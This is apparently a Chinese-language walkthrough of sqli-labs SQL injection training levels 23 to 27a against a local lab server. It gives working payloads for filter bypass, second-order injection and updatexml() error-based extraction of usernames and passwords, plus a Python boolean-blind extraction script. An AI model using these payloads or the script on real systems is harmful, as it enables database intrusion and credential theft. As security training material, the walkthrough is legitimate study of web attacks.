Less-23
1.打开页面正常操作,http://127.0.0.1/sqlilabs/Less-23/?id=1
,页面回显正常
2.加单引号,回显错误,根据错误提示可知闭合方式'--+/'#
,但是两者输入后页面还是报错,
3.可能存在对--
和#
的过滤,所以尝试构造1'or'1'='1
,回显正常,说明闭合成功,可以开始注入,这里可以采用updatexml()
报错注入
Less-24
二次注入原理:
1.用户可以向数据库插入恶意语句,即使后端代码对语句进行了转义,如mysql_escape_string
、mysql_real_escape_string
转义
2.数据库相信自己储存的数据,直接取出的数据给用户
1.打开页面如下
2.点击 忘记密码,如下
3.开始尝试对登陆框各种姿势注入,无果,只有创建一个账号,
打开phpmyadmin,看到了我们刚创建的账号
4。创建帐号了,这时候我们开始登陆,登陆后是一个叫我们修改密码的页面
我们尝试修改密码,密码改为12345,修改成功
这是再来查看phpmyadmin,发现admin’#密码没变,而是admin密码变为了12345
5.这就是二次注入了,代码审计一下
注册用户时,仅对特殊字符转义,检测前后两次密码是否一致,直接将数据存入数据库
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")"
修改秘密时
$username= $_SESSION["username"];//直接取出了数据库的数据
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//对该用户的密码进行更新
$sql = "UPDATE users SET PASSWORD='12345' where username='admin‘#
插入成功!
Less-25
1.打开页面就发现提示,根据提示知道可能or
和and
被过滤了
2.加单引号,出现错误提示
于是可以构造闭合了1'--+
,闭合成功,回显正常,然后再来构造-1'or '1'='1
,页面出现异常,
再来构造1'and'1'='1
,页面也异常,
但是通过提示知道or
和and
确实被过滤了,所以接下来考虑如恶化注入
3.考虑如何绕过,这时利用页面下方的那个提示了,我们输入什么它就输出什么,除了要过滤的内容,这里经过参试发现oorr
和aandnd
可以绕过,说明后台只进行了一次过滤,又尝试发现大小写不能绕过
4.构造payload
进行绕过,这里采用联合查询的爆库…
http://127.0.0.1/sqlilabs/Less-25/?id=-1%27union%20select%201,2,group_concat(schema_name)%20from%20infoorrmation_schema.schemata--+
Less-25a
1.打开页面,如图Less-25一样,构造1'
,发现回显错误
根据错误提示,判断为数字型直接注入,构造闭合-1union select 1,2,3--+
正常回显,依然可以使用联合查询注入解决
Less-26
1.打开页面,构造http://127.0.0.1/sqlilabs/Less-26/?id=1'
,出现错误,根据错误提示可构造1'--+
或1'#
但是两者都报错
由此可知注释符被过滤了,可考虑两种绕过方式:构造语句绕过;特殊字符绕过
2.构造语句绕过
首先由错误提示,我们可知为单引号报错,所以可以构造1'||'1'='1
进行绕过,实验证明成功
这里又发现or
,and
,空格
都被过滤了,or
,and
过滤了可以使用||
,&&
(这里网站会过滤&
,可采用%26
)代替,空格
可考虑由其他特殊字符代替(但是由于Apache解析的原因,Windows无法使用特殊字符代替空格,在linux
下就没问题)
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
由于在Windows下无法代替空格,所以只有尽量选取不使用空格的注入方法,这里可以采用updatexml()
和extractvalue()
来进行报错注入,也可以采用bool
型注入
2.x1updatexml()
报错
01 爆库
1'||updatexml(1,concat('~',database()),0)||'1'='1
02 爆表
http://127.0.0.1/sqlilabs/Less-26/?id=1%27||updatexml(1,concat(%27~%27,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=%27security%27))),0)||%271%27=%271
03 爆表列
http://127.0.0.1/sqlilabs/Less-26/?id=1%27||updatexml(1,concat(%27~%27,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=%27security%27%26%26table_name=%27users%27))),0)||%271%27=%271
04 爆字段
http://127.0.0.1/sqlilabs/Less-26/?id=1%27||updatexml(1,concat(%27~%27,(select(group_concat(concat(username,%27~%27,passwoorrd)))from(security.users))),0)||%271%27=%271
x2Bool
注入
这里送上我的脚本吧
import sys
import requests
def getPayload(char_index, ascii):
# 系统表中数据
info_database_name = "infoorrmation_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name
# 注入表中数据
database_name = "security"
table_name = "users"
column_name = ["id","username","passwoorrd"]
# 附加url
start_str = "1'%26%26"
end_str = "||'1'='"
# 连接select
where_str = ""
#where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"
select_str = "select(group_concat("+info_column_name+"))from("+info_database_name+"."+info_table_name+")"+where_str
#select_str = "select(group_concat(concat_ws('$',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"
# 连接payload
sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
payload = start_str + sqli_str + end_str
return payload
def execute(char_index, ascii):
# 连接url
url = "http://127.0.0.1/sqlilabs/Less-26/?id="
exec_url = url + getPayload(char_index, ascii)
#print(exec_url)
# 检查回显
echo = "Your Login name"
content = requests.get(exec_url).text
if echo in content:
return True
else:
return False
def dichotomy(char_index, left, right):
while left < right:
# 二分法
ascii = int((left+right)/2)
if execute(str(char_index+1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right-1:
if execute(str(char_index+1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for len in range(1024): # 查询结果的长度
char = dichotomy(len, 30, 126)
if ord(char) == 31: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
sys.stdout.write("\r\n")
sys.stdout.flush()
跑出来结果
3.使用;%00
构造闭合语句
%00
是截断符,不多说了,其他操作一样了
Less-26a
1.加单引号报错,但是没给错误提示,所以还要测试是否由)
n种方法:
01,由2'&&'1'='1
如果只是'
,返回结果是id=2
的结果,是,)
,则语句变为('2'&&'1'='1')
,Mysql将2
作为布尔值,返回的是id=1
的结果
02,由1';%00
和1')%00
,谁回显正常,就是谁
03,1')||'1'=('1
,若回显正常,有小括号,反之没有
3.其他和Less-26一样了
Less-27
这里是Less-26+过滤select
和union
,可以采用随机大小写绕过seLect
,uNion
,也可以采用seselectselectlect
,ununionion
绕过,其他操作同Less-26
Less-27a
双号闭合,采用Bool
注入,脚本和Less-26的类似